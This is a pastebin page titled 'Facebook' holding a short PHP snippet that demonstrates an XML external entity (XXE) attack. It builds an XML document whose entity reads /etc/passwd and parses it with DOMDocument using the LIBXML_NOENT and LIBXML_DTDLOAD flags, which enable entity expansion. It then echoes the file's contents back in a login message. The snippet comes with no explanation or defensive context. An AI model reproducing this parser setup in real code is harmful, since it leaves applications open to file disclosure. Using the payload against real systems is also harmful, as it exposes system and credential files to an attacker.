Facebook
From Sexy Horse, 2 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 289
  1. $xmlfile = '<?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [ <!ELEMENT foo ANY >
  3. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  4. <creds>
  5.     <user>&xxe;</user>
  6.     <pass>mypass</pass>
  7. </creds>';
  8. $dom = new DOMDocument();
  9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  10. $creds = simplexml_import_dom($dom);
  11. $user = $creds->user;
  12. $pass = $creds->pass;
  13. echo "You have logged in as user $user";
  14.